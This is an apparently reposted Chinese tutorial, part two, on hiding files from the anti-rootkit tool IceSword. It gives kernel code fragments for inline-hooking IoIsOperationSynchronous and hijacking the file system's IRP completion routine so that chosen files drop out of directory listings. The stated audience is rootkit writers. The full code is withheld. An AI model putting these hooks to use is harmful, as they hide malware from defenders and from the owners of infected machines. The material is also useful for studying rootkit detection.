科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道突破Icesword实现文件隐藏(下)

突破Icesword实现文件隐藏(下)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

先介绍一下icesword是如何查找文件的。基本原理就是自己构造一个irp出来,然后直接IoCallDriver发送到fsd。但是icesword做了更多的工作。它直接读取ntfs.sys 和fastfat.sys,从pe文件格式的角度上计算出正确的fsd的dispatch routine地址,然后再call。而且icesword自己实现了一个IoCallDriver。所以一般的fsd hook是对付不了icesword的。

作者:论坛整理 来源:zdnet网络安全 2008年4月14日

关键字: 攻击防范 安全防护 黑客

  • 评论
  • 分享微博
  • 分享邮件
这个dispatch routine的开始不远处有对IoIsOperationSynchronous的调用。我看能不能方便的hook这个函数,打开windbg,选择local kernel debuging。

lkd> u IoIsOperationSynchronous
nt!IoIsOperationSynchronous:
804f0808 8bff            mov     edi,edi
804f080a 55              push    ebp
804f080b 8bec            mov     ebp,esp
804f080d 8b4508          mov     eax,dword ptr [ebp+8]
804f0810 8b4860          mov     ecx,dword ptr [eax+60h]
804f0813 8b4918          mov     ecx,dword ptr [ecx+18h]
  好的,函数被导出。我们直接直接inline hook它。
  hook的代码片段:

//-----------------------------------------------------------
    GetKernelModuleAddress();
    
    HookFunction(kernelBaseAddress, "IoIsOperationSynchronous", MyIoIsOperationSynchronous, (ULONG*)&OldIoIsOperationSynchronous);
    
    irql = KeRaiseIrqlToDpcLevel();
    returnAddr = HookCode((PVOID)OldIoIsOperationSynchronous, (PVOID)MyIoIsOperationSynchronous);
    KeLowerIrql(irql);
//------------------------- code ends here--------------------
如何判断是否是在文件系统的IRP_MJ_DIRECTORY_CONTROL函数中被调用的呢?
    ULONG callerAddr = 0;
    _asm mov eax,[ebp+4]    // 得到返回地址
    _asm mov callerAddr,eax
    
    if(callerAddr - 0xbfefb69d < 120)  和fsd 的dispatch routine入口地址比较
    {
        HackIrp(Irp);
    }
  注:0xbfefb69d 这个是我调试的时候得到的地址,我直接硬编码了。

  到此为止,第一个问题解决了,所以现在可以捕获到icesword查询文件的irp了。


  第2个问题,如何接管完成函数。

  之前发现,ntfs驱动的dispatch routine是没有设置CompletionRoutine的。那么我就来给他设置一个。设置完成函数的api是IoSetCompletionRoutine。但是这个函数是给下层驱动设置完成函数的。我们现在是需要给当前的 stack location 设置CompletionRoutine。ok,看一下IoSetCompletionRoutine,从wrk中找源码:

#define IoSetCompletionRoutine( Irp, Routine, CompletionContext, Success, Error, Cancel ) { 
    PIO_STACK_LOCATION __irpSp;                                               
    ASSERT( ((Success) | (Error) | (Cancel)) ? (Routine) != NULL : TRUE );    
    __irpSp = IoGetNextIrpStackLocation( (Irp) );                             
    __irpSp->CompletionRoutine = (Routine);                                   
    __irpSp->Context = (CompletionContext);                                   
    __irpSp->Control = 0;                                                     
    if ((Success)) { __irpSp->Control = SL_INVOKE_ON_SUCCESS; }               
    if ((Error)) { __irpSp->Control |= SL_INVOKE_ON_ERROR; }                  
    if ((Cancel)) { __irpSp->Control |= SL_INVOKE_ON_CANCEL; } }

  看了源码马上知道该怎么做了。(如果你还没知道那就不用知道了...)
  ok,下面为fsd处理IRP_MJ_DIRECTORY_CONTROL的routine设置CompletionRoutine

irpSp->CompletionRoutine = MyFilterFiles;
irpSp->Context = Irp->UserBuffer;
irpSp->Control = 0;
irpSp->Control = SL_INVOKE_ON_SUCCESS;
irpSp->Control |= SL_INVOKE_ON_ERROR;
irpSp->Control |= SL_INVOKE_ON_CANCEL;

  函数MyFilterFiles是被我们控制的,所以我们可以在里面隐藏掉想要隐藏的文件。MyFilterFiles的实现不写了,参见cardmagic就可以了。

  做到这里我认为我可以成功了,但是我拿到虚拟机里一试,机器篮屏了。出错的module是icesword的驱动。郁闷了。这是vxk提醒了我。原来icesword自己设置了完成函数。下断点,调试,icesword果然有自己的完成函数。(严重感谢vxk)解决这个问题不难,不管它的完成函数是怎么实现的,CompletionRoutine的函数原型基本是固定的。所以我只需要在MyFilterFiles处理完Irp->UserBuffer后 , push参数进去,然后call icesword的完成函数就行了。


  至此,突破icesword实现文件隐藏的全部工作完成了。完整的代码我不就放出来的。对于写rootkit的人们来说知道了思路就已经足够了。放完整的代码出来如果被一些流氓直接a过去就不和谐了。

  另外,要想比较完美的实现还有几个小细节问题要处理。譬如如何得到IRP_MJ_DIRECTORY_CONTROL处理routine的正确地址,这个可以像icesword一样map 磁盘文件,然后自己计算。其余的问题我一时想不起来了,昨天失眠…… 
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章